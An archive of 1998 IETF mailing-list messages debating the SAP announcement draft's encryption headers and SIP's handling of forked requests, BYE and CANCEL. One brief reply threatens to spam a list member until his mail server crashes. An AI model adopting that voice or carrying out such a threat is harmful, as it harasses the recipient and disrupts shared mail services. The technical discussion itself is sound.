	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA11566
	for <confctrl@ISI.EDU>; Tue, 7 Apr 1998 14:57:21 -0700 (PDT)
Received: from ideal.jf.intel.com (ideal.jf.intel.com [134.134.130.5])
	by ganymede.or.intel.com (8.8.6/8.8.5) with ESMTP id PAA15235
	for <confctrl@ISI.EDU>; Tue, 7 Apr 1998 15:08:21 -0700 (PDT)
Received: from blewis (blewis.jf.intel.com [192.198.161.172])
          by ideal.jf.intel.com (8.8.7/8.8.7) with SMTP
	  id OAA09465 for <confctrl@ISI.EDU>; Tue, 7 Apr 1998 14:49:27 -0700 (PDT)
Message-Id: <3.0.32.19980407150711.009ad8d0@mailbox.jf.intel.com>
X-Sender: wjlewis@mailbox.jf.intel.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Tue, 07 Apr 1998 15:07:12 -0700
To: confctrl@ISI.EDU
From: Bill Lewis <wjlewis@jf.intel.com>
Subject: mmusic-sap-04 comments & clarifications
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I ran across what seems like a problem, unless it's just not clearly
expressed.  In the section which describes the SAP Header's 
optional fields: How is a SAP parser to tell when an Optional
field is present?  The only resolution I can see with what's there is
for the Optional fields to become non-Optional when the Encryption
bit is set.
Is this really true?

I also have these comments to pass along:

> Many symmetric encryption algorithms, e.g. DES [6] are known to be easy 
> to break; with such algorithms, it is undesirable to re-use the SEK many
> times.

I assume this is because it's easier to break with more content, but one
thing that isn't addressed is storage and brute force attack.  Any
individual key needs to withstand attack for the life of the content
(taking into account economics, of course, but how expensive is it to let
a $1500 Pentium II crunch away for a year?).  I would make sure to use
strong keys to start with...

> 3.3	Encrypted Payload Format 
> 3.3.1	Generic Format
...
> The application is expected to test whether the fields 
> immediately following the timeout field in the main SAP header is 
> compatible with the use of symmetric encryption; in this case it will be
> a padding bit followed by a 31-bit random field, or whether it is 
> compatible with the use of hybrid encryption. In this case there is a 
> very specific format to the first byte of the Privacy header, which 
> follows other time-out field in this case.

This is a heuristic detection method, which I really don't like in a
protocol; is it such a penalty to have an identifier to specify
deterministically?

Thanx!

===============================
Bill Lewis
Intel Corporation
Communication Architecture Labs
Internet Security & Services
wjlewis@jf.intel.com
===============================


From confctrl-owner  Tue Apr  7 15:40:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA02755
	for confctrl-outgoing; Tue, 7 Apr 1998 15:40:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA02750
	for <confctrl@zephyr.isi.edu>; Tue, 7 Apr 1998 15:40:26 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA17023
	for <confctrl@ISI.EDU>; Tue, 7 Apr 1998 15:40:24 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id SAA05070; Tue, 7 Apr 1998 18:37:03 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Bill Lewis <wjlewis@jf.intel.com>
cc: confctrl@ISI.EDU
Subject: Re: mmusic-sap-04 comments & clarifications 
In-reply-to: Your message of "Tue, 07 Apr 1998 15:07:12 PDT."
             <3.0.32.19980407150711.009ad8d0@mailbox.jf.intel.com> 
Date: Tue, 07 Apr 1998 18:37:03 -0400
Message-ID: <5068.891988623@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>I ran across what seems like a problem, unless it's just not clearly
>expressed.  In the section which describes the SAP Header's 
>optional fields: How is a SAP parser to tell when an Optional
>field is present?  The only resolution I can see with what's there is
>for the Optional fields to become non-Optional when the Encryption
>bit is set.
>Is this really true?

If the header length is non-zero, then there's an authentication
header present.  If the payload is encrypted, the E bit is set, and
the timout field is present, and the payload is encrypted.  

The privacy header should be thought of as a part of the encryption
scheme rather than as a SAP header, and this is where things get a
little confused:

>> 3.3	Encrypted Payload Format 
>> 3.3.1	Generic Format
>...
>> The application is expected to test whether the fields 
>> immediately following the timeout field in the main SAP header is 
>> compatible with the use of symmetric encryption; in this case it will be
>> a padding bit followed by a 31-bit random field, or whether it is 
>> compatible with the use of hybrid encryption. In this case there is a 
>> very specific format to the first byte of the Privacy header, which 
>> follows other time-out field in this case.
>
>This is a heuristic detection method, which I really don't like in a
>protocol; is it such a penalty to have an identifier to specify
>deterministically?

I agree with you.  Either all encryption schemes should share a common
encryption header, or all schemes should be dependent on trying all
available keys (each with its defined encryption scheme) when they get
a new announcement.  

Van pushed for the latter, on the basis that the first rule of
security is never to give any additional information away to a
potential attacker.  In any event the set of keys any one user is
likely to have will be small so the cost of trying each is not a big
deal.  If we follow this through, there's no need to define a standard
(encryption-scheme independent) privacy header for hybrid schemes.

The alternative is to go to the opposite extreme and use a standard
privacy header for symmetric encoding too.  In this case, the key-id
field that was originally in SAP should probably be resurrected too,
and prevent you needing to try all your keys for each announcement.
This does definitely give away some information that might potentially
be useful to an attacker.  Not a huge amount maybe, but some.

In the past, Van convinced me that the key-id was a bad idea, and
hence by extension, the encryption format type field is also a bad
idea.  

We should make our (collective) mind up on this issue and not try to
sit on the fence as the current draft does...

Cheers,
	Mark







From confctrl-owner  Tue Apr  7 20:31:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA12361
	for confctrl-outgoing; Tue, 7 Apr 1998 20:31:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA12356
	for <confctrl@zephyr.isi.edu>; Tue, 7 Apr 1998 20:31:36 -0700 (PDT)
Received: from orion.ramapo.edu (orion.ramapo.edu [192.107.108.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA02517
	for <confctrl@ISI.EDU>; Tue, 7 Apr 1998 20:31:35 -0700 (PDT)
Received: from localhost by orion.ramapo.edu (PMDF V5.1-9 #21195)
 with SMTP id <0ER200J01SG8MP@orion.ramapo.edu> for confctrl@ISI.EDU; Tue,
 7 Apr 1998 23:31:20 -0400 (EDT)
Date: Tue, 07 Apr 1998 23:31:20 -0400 (EDT)
From: aCPPier <tfrangie@orion.ramapo.edu>
Subject: Re: mmusic-sap-04 comments & clarifications
In-reply-to: <3.0.32.19980407150711.009ad8d0@mailbox.jf.intel.com>
To: Bill Lewis <wjlewis@jf.intel.com>
Cc: confctrl@ISI.EDU
Message-id: <Pine.OSF.3.96.980407233004.25077A-100000@orion.ramapo.edu>
MIME-version: 1.0
Content-type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

DO NOT SEND ME ANY MORE EMAILS.
next time I am going to spam you, which means you will probably have
problems with your mail.
It will crach your mail server.
Last warning.


From confctrl-owner  Tue Apr  7 22:10:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA14794
	for confctrl-outgoing; Tue, 7 Apr 1998 22:10:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA14789
	for <confctrl@zephyr.isi.edu>; Tue, 7 Apr 1998 22:10:56 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA05880
	for <confctrl@isi.edu>; Tue, 7 Apr 1998 22:10:53 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id HAA04855 for <confctrl@isi.edu>; Wed, 8 Apr 1998 07:05:24 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565E0.001C5F73 ; Wed, 8 Apr 1998 07:09:54 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU
Message-ID: <422565E0.0019CCE4.00@il4.vocaltec.co.il>
Date: Wed, 8 Apr 1998 07:15:35 +0200
Subject: Re: SIP: Forked request
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Looking at my own notes, I don't see if any resolution was given to the
"forked request" problem.  Could someone remind me please?

As far as the SIP spec goes, I believe that there are only two
possibilities:

a. A client of a single unicast SIP request needs to receive a single
unicast response. It is the responsibility of the callee's servers
(whatever combination of proxies and user agents there are) to ensure that
the client issuing an INVITE will not get multiple responses.

b. A client of a single unicast SIP request might get multiple responses,
in which case it is the responsibility of the client to decide whom to ACK
and how to proceed.

I find the second possibility very strange personally, but maybe it could
work. In any case I feel quite strongly that there are many different
behaviors that are reasonable, and that since by definition the proxy
server is a proxy for a particular user, the user needs to decide what s/he
wants. IPTel is going to give us a solution for how a human user can
program his/her proxy server to do what s/he wants.

---------------------------------------------------------
Jonathan wrote:
> Clearly the *natural* behavior would be to create a multiparty call,
> but I just don't see any reasonable way to accomplish this.

I do. Apparently this requires that the server forking the request have
what Mark calls "user agent functionality" or "SIP/SIP gateway
functionality" -- the server sets up some sort of RTP mixer or translator,
mucks about with the SDP, and generally makes sure that the client which
sent the INVITE stays happy. The SIP spec does not need to be altered in
any way for such a gateway.

Igor wrote:
>I feel that the caller (not callee) should decide if he/she wants to
>talk to a single person or to everyone who answered the call - only the
>caller knows the intention of the call, after all.

This certainly is not what happens in the current phone system -- when you
call my house you might have two people answering two different phones, and
there's nothing you can do to prevent it. To enable Igor's desire that the
"caller can decide" we might want to allow possibility b above -- in the
example of my house phone, a caller might send a single unicast INVITE, and
get multiple OKs from different users, but each one would have identical
SDP, and in the end all users would be using a single multicast group
address for all audio.

Bottom line -- the SIP spec needs only to specify which of possibility a or
b above (or both) is allowed.

Scott



From confctrl-owner  Tue Apr  7 23:44:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA16783
	for confctrl-outgoing; Tue, 7 Apr 1998 23:44:04 -0700 (PDT)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA16777
	for <confctrl@zephyr.isi.edu>; Tue, 7 Apr 1998 23:44:03 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id XAA08242;
	Tue, 7 Apr 1998 23:44:00 -0700 (PDT)
Received: from thames.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.02206-0@bells.cs.ucl.ac.uk>; Wed, 8 Apr 1998 07:43:51 +0100
Received: from mia.cs.ucl.ac.uk (actually telis.cs.ucl.ac.uk) 
          by thames.cs.ucl.ac.uk with SMTP (PP); Wed, 8 Apr 1998 07:43:42 +0100
Message-Id: <3.0.1.32.19980408073659.006d47cc@cs.ucl.ac.uk>
X-Sender: Kirstein@cs.ucl.ac.uk
X-Mailer: Windows Eudora Light Version 3.0.1 (32)
Date: Wed, 08 Apr 1998 07:36:59 +0100
To: Mark Handley <mjh@ISI.EDU>, Bill Lewis <wjlewis@jf.intel.com>
From: "Peter T. Kirstein" <P.Kirstein@cs.ucl.ac.uk>
Subject: Re: mmusic-sap-04 comments & clarifications
Cc: confctrl@ISI.EDU
In-Reply-To: <5068.891988623@north.lcs.mit.edu>
References: <Your message of "Tue,
            07 Apr 1998 15:07:12 PDT." <3.0.32.19980407150711.009ad8d0@mailbox.jf.intel.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 18:37 07/04/98 -0400, Mark Handley wrote:
>
>>I ran across what seems like a problem, unless it's just not clearly
>>expressed.  In the section which describes the SAP Header's 
>>optional fields: How is a SAP parser to tell when an Optional
>>field is present?  The only resolution I can see with what's there is
>>for the Optional fields to become non-Optional when the Encryption
>>bit is set.
>>Is this really true?
>
>If the header length is non-zero, then there's an authentication
>header present.  If the payload is encrypted, the E bit is set, and
>the timout field is present, and the payload is encrypted.  
>
>The privacy header should be thought of as a part of the encryption
>scheme rather than as a SAP header, and this is where things get a
>little confused:
>
>>> 3.3	Encrypted Payload Format 
>>> 3.3.1	Generic Format
>>...
>>> The application is expected to test whether the fields 
>>> immediately following the timeout field in the main SAP header is 
>>> compatible with the use of symmetric encryption; in this case it will be
>>> a padding bit followed by a 31-bit random field, or whether it is 
>>> compatible with the use of hybrid encryption. In this case there is a 
>>> very specific format to the first byte of the Privacy header, which 
>>> follows other time-out field in this case.
>>
>>This is a heuristic detection method, which I really don't like in a
>>protocol; is it such a penalty to have an identifier to specify
>>deterministically?
>
>I agree with you.  Either all encryption schemes should share a common
>encryption header, or all schemes should be dependent on trying all
>available keys (each with its defined encryption scheme) when they get
>a new announcement.  
>
>Van pushed for the latter, on the basis that the first rule of
>security is never to give any additional information away to a
>potential attacker.  In any event the set of keys any one user is
>likely to have will be small so the cost of trying each is not a big
>deal.  If we follow this through, there's no need to define a standard
>(encryption-scheme independent) privacy header for hybrid schemes.
>
>The alternative is to go to the opposite extreme and use a standard
>privacy header for symmetric encoding too.  In this case, the key-id
>field that was originally in SAP should probably be resurrected too,
>and prevent you needing to try all your keys for each announcement.
>This does definitely give away some information that might potentially
>be useful to an attacker.  Not a huge amount maybe, but some.
>
>In the past, Van convinced me that the key-id was a bad idea, and
>hence by extension, the encryption format type field is also a bad
>idea.  
>
>We should make our (collective) mind up on this issue and not try to
>sit on the fence as the current draft does...

Mark,

You are well aware that the current draft sits on the fence only because
this was the only way to convince you and Van to agree to proceed. I have
always felt that we should have a standard privacy header, with a format
type indicating that one wanted to have the number of keys tried which is
Van' preferred approach. The asymmetric privacy header is the preferred
approach to all other applications which wish to integrate with  a security
infrasatructure; it is just that this Working Group, or at least a few
members in it, have disliked the idea of having a security infrastructure
at all. I accept that there should be a compromise by which we have a
standard format header - and have mechanisms which work without a security
infrastructute. I do not accept that we have a mechanism that does not
permit plugging in to a security infrastructure.

There are a number of application scenarios, particularly in the commercial
arean, where there is a clear need to use such a security infrastructure.
Moreover, it shoudl be the same one as is used for other application-level
secure activities. we can easily define such a header; it was in the
earlier drafts. The overhead introduced is a trivial number of bytes. It
was removed ony from your and Van's pressure. I would welcome your agreeing
to this approach.

Peter
>
>Cheers,
>	Mark
>
>
>
>
>
>
>


From confctrl-owner  Wed Apr  8 07:00:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA27489
	for confctrl-outgoing; Wed, 8 Apr 1998 07:00:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27484
	for <confctrl@zephyr.isi.edu>; Wed, 8 Apr 1998 07:00:44 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA24642
	for <confctrl@ISI.EDU>; Wed, 8 Apr 1998 07:00:43 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Wed Apr  8 09:58:06 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id JAA00296;
	Wed, 8 Apr 1998 09:57:56 -0400 (EDT)
Message-ID: <352B81F0.B85276F7@dnrc.bell-labs.com>
Date: Wed, 08 Apr 1998 09:56:00 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU
Subject: Re: SIP: Forked request
References: <422565E0.0019CCE4.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> Looking at my own notes, I don't see if any resolution was given to the
> "forked request" problem.  Could someone remind me please?
> 
> As far as the SIP spec goes, I believe that there are only two
> possibilities:
> 
> a. A client of a single unicast SIP request needs to receive a single
> unicast response. It is the responsibility of the callee's servers
> (whatever combination of proxies and user agents there are) to ensure that
> the client issuing an INVITE will not get multiple responses.

Doing this is actually much harder than it seems. The difficulty is that
there can be a large number of forking proxies, and several clients
which may receive several requests each from different proxies. To
return a single response back to the client, a forking proxy must
essentially BYE any "extra" 200 OK's it receives from multiple callee's.
With multiple proxies and callees, its not too hard to construct a
scenario whereby all callee's end up receiving BYE's, so the entire call
is cancelled.

> 
> b. A client of a single unicast SIP request might get multiple responses,
> in which case it is the responsibility of the client to decide whom to ACK
> and how to proceed.

I believe this makes sense and it solves many of the race problems
above.



> Jonathan wrote:
> > Clearly the *natural* behavior would be to create a multiparty call,
> > but I just don't see any reasonable way to accomplish this.
> 
> I do. Apparently this requires that the server forking the request have
> what Mark calls "user agent functionality" or "SIP/SIP gateway
> functionality" -- the server sets up some sort of RTP mixer or translator,
> mucks about with the SDP, and generally makes sure that the client which
> sent the INVITE stays happy. The SIP spec does not need to be altered in
> any way for such a gateway.

True; this can work if the proxy always sets things up to act as a
mixer. It must always modify the outgoing SDP in proxied SIP requests to
indicate the address and port of the mixer, not the caller.
Interestingly, if multiple proxies do this, I believe it will correctly
set up a tree of cascaded mixers, with no loops; very nice property.

An even more desirable behavior would be to have a proxy only set up a
mixer when multiple 200 responses come back. This can be made to work
with a few very small changes to SIP semantics:

1. You don't send media until you receive an ACK,
2. An ACK can contain an SDP which "updates" the one in the original
INVITE

So, it works as follows. A proxy receives an INVITE, and it forks it out
without changing the SDP. The proxy then waits for all responses to its
forks. If there is one 200, this is relayed back to the client and a
normal point to point call proceeds. If there are multiple 200's, the
proxy can either relay all of them back, else it can act as a mixer, ACK
the 200's on its own, but include its own address/port in the ACK's. It
then returns a 200 OK to the client, and includes its own address/port
in the 200 OK.

> 
> Bottom line -- the SIP spec needs only to specify which of possibility a or
> b above (or both) is allowed.

I agree we should absolutely keep it as flexible as possible, but under
the constraint that we have basic correctness.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr  8 07:31:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA28414
	for confctrl-outgoing; Wed, 8 Apr 1998 07:31:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28409
	for <confctrl@zephyr.isi.edu>; Wed, 8 Apr 1998 07:31:36 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25530
	for <confctrl@isi.edu>; Wed, 8 Apr 1998 07:31:34 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id KAA12963;
	Wed, 8 Apr 1998 10:31:02 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id KAA19780;
	Wed, 8 Apr 1998 10:31:01 -0400 (EDT)
Date: Wed, 8 Apr 1998 10:31:01 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980408103101.ZM19778@seawind.bellcore.com>
In-Reply-To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
        "Re: SIP: Forked request" (Apr  8,  9:56am)
References: <422565E0.0019CCE4.00@il4.vocaltec.co.il> 
	<352B81F0.B85276F7@dnrc.bell-labs.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Scott Petrack <Scott_Petrack@vocaltec.com>
Subject: Re: SIP: Forked request
Cc: confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The robustness principle mandates that SIP agents should be ready
for the worst case.  This means that, if a request generates several
responses (the worst case) they should be ready to deal with it.
The obvious way is to ACK one, then BYE the others.  More elaborate
ways may involve redirection to a muxing server or to a multicast
address.


SIp agents can obviously help by not creating a gratuitous worst case.
For example, if Scott's house has multiple telephones, then it could
use a local multicast group (the equivalent of the current bus structure
of the electrical wire), and then appear as one wire to the outside world
(i.e. one unicast address).

By the way, this points to an ambiguity in RTP requirements.  SDP
announces the address (unicast of multicast) through which an agent
is ready to receive RTP traffic.  But RTP allows the muxing of
several flows on a single address / port pair.  Can we assume that
all RTP implementations are ready to accept an arbitrary number
of audio (or video) sources ?


-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Wed Apr  8 10:56:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA09748
	for confctrl-outgoing; Wed, 8 Apr 1998 10:56:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA09743
	for <confctrl@zephyr.isi.edu>; Wed, 8 Apr 1998 10:56:44 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08789
	for <confctrl@ISI.EDU>; Wed, 8 Apr 1998 10:56:42 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id NAA05327; Wed, 8 Apr 1998 13:56:29 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id NAA09931; Wed, 8 Apr 1998 13:56:23 -0400 (EDT)
Message-ID: <352BBA47.8C3ADD84@cs.columbia.edu>
Date: Wed, 08 Apr 1998 13:56:23 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: SIP: Forked request
References: <422565E0.0019CCE4.00@il4.vocaltec.co.il> <352B81F0.B85276F7@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 


> An even more desirable behavior would be to have a proxy only set up a
> mixer when multiple 200 responses come back. This can be made to work
> with a few very small changes to SIP semantics:
> 
> 1. You don't send media until you receive an ACK,

You shouldn't do that in any event...

> 2. An ACK can contain an SDP which "updates" the one in the original
> INVITE
> 
> So, it works as follows. A proxy receives an INVITE, and it forks it out
> without changing the SDP. The proxy then waits for all responses to its
> forks. If there is one 200, this is relayed back to the client and a
> normal point to point call proceeds. If there are multiple 200's, the
> proxy can either relay all of them back, else it can act as a mixer, ACK
> the 200's on its own, but include its own address/port in the ACK's. It
> then returns a 200 OK to the client, and includes its own address/port
> in the 200 OK.


While this is a possible solution, it does raise a few problems:

- encrypted message bodies (hard)
- authentication (solvable)
- ACK/BYE bypass via Location:

Note that this assumes that the proxy knows what the right answer is:
namely, "reach first" (or "reach one") or "reach all". Currently, the
"Call-Disposition: all" header calls for the server to aggregate all the
200 responses into a single "multiple choices" response and then let the
client decide. 

If the client C gets back 200 responses from callees A and B, it
probably should contact an MCU explicitly:

INVITE MCU
Also: A,B
Call-ID: same as before

> 
> >
> > Bottom line -- the SIP spec needs only to specify which of possibility a or
> > b above (or both) is allowed.
> 
> I agree we should absolutely keep it as flexible as possible, but under
> the constraint that we have basic correctness.

It seems we have three correct possibilities:

- fork and forward 200 as they come and let the client decide
- don't fork, return 300 if there are multiple choices
- aggregate 200s and step in as an MCU

Allowing the ACK to contain a "final" session description is useful for
asymmetric media (and RTCP ports) in any event.


> 
> -Jonathan R.
> 
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 732 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Apr  8 11:24:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA11450
	for confctrl-outgoing; Wed, 8 Apr 1998 11:24:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11445
	for <confctrl@zephyr.isi.edu>; Wed, 8 Apr 1998 11:24:25 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11844
	for <confctrl@isi.edu>; Wed, 8 Apr 1998 11:24:24 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA06980 for <confctrl@isi.edu>; Wed, 8 Apr 1998 14:24:22 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA10014 for <confctrl@isi.edu>; Wed, 8 Apr 1998 14:24:22 -0400 (EDT)
Message-ID: <352BC0D5.D4D0C62D@cs.columbia.edu>
Date: Wed, 08 Apr 1998 14:24:21 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Forking, BYE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Problem: Proxy receives a 200 or 600 and forwards it upstream. It now
wants to cancel all pending searches. Sending a BYE may (through other
proxies) reach the one that just picked up the phone. [We avoided half
of this problem by forwarding multiple 200s to the client.]

Solution 1: Don't cancel; just wait until the branch responds and either
forward (200) or ACK (all others).

Solution 2: Add a random (i.e., globally unique) "branch" identifier to
the Call-ID. Something like

 Call-ID: 17 ;branch=18383

Each fork creates a new branch identifier and maps incoming BYEs to all
outgoing branches. If a proxy or user agent accepted an INVITE (with
200) with a particular branch-id, ignore BYEs that have a different ID.
BYEs without branch-id cancel the (pending) call, on all branches.

Solution 3: Introduce a new CANCEL method, with somewhat similar
behavior as Solution 2: If call has been accepted, ignore CANCEL (but
obviously acknowledge it), otherwise forward and cancel search. (This is
related, I believe, to something that Eve suggested doing for pending
calls.)

From confctrl-owner  Sat Apr 11 03:32:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA25165
	for confctrl-outgoing; Sat, 11 Apr 1998 03:32:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA25160
	for <confctrl@zephyr.isi.edu>; Sat, 11 Apr 1998 03:32:02 -0700 (PDT)
Received: from mr.tuwien.ac.at (mr.tuwien.ac.at [128.130.2.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA00810
	for <confctrl@isi.edu>; Sat, 11 Apr 1998 03:31:59 -0700 (PDT)
Received: from logo (actually logo.ikn.tuwien.ac.at) by mr.tuwien.ac.at 
          with SMTP (PP); Sat, 11 Apr 1998 12:31:00 +0200
Message-Id: <3.0.3.32.19980411122356.009e2530@mail.zserv.tuwien.ac.at>
X-Sender: vanas@mail.zserv.tuwien.ac.at
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sat, 11 Apr 1998 12:23:56 +0200
To: confctrl@ISI.EDU
From: "Harmen R. van As" <Harmen.R.van-As@tuwien.ac.at>
Subject: 8th IFIP Conference on High Performance Networking (HPN'98)
Mime-Version: 1.0
Content-Type: text/enriched; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

